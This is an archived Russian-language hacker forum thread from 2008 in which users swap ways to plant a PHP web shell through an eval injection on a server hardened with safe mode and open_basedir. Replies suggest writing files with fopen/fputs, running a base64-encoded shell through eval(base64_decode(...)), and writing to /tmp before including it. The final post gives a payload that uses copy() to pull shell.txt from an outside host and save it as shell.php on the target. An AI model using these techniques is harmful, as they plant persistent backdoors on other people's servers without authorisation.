PDA

Просмотр полной версии : Как залить веб шелл через eval.


SanyaX
04.10.2008, 20:01
Вообщем инклуды не локальный не удалённый не проканают. Safe-mode on + base dir. Отличены почти все функции. Кто подскажет что интересного?

BlackSun
04.10.2008, 20:12
file_get_contents && fopen && fputs не катят?
----------
Или заэнкодь любимый шелл в base64, потом eval(base64_decode("youShell")), ну а дальше уже удобней будет

SanyaX
04.10.2008, 21:27
Не создаёт файл. Больше нет способов?

BlackSun
04.10.2008, 21:47
Не создаёт файл. Больше нет способов?
Чмод не позволяет или ограничения? Попробуй в /tmp/ записать, а потом заинсклудить

Nightmarе
04.10.2008, 21:53
Была похожая ситуация, я заливал через copy
Таким образом:
&lol=http://site.ru/shell.txt&lol2=/home/site.com/www/shell.php&бажный_параметр=copy(lol,lol2);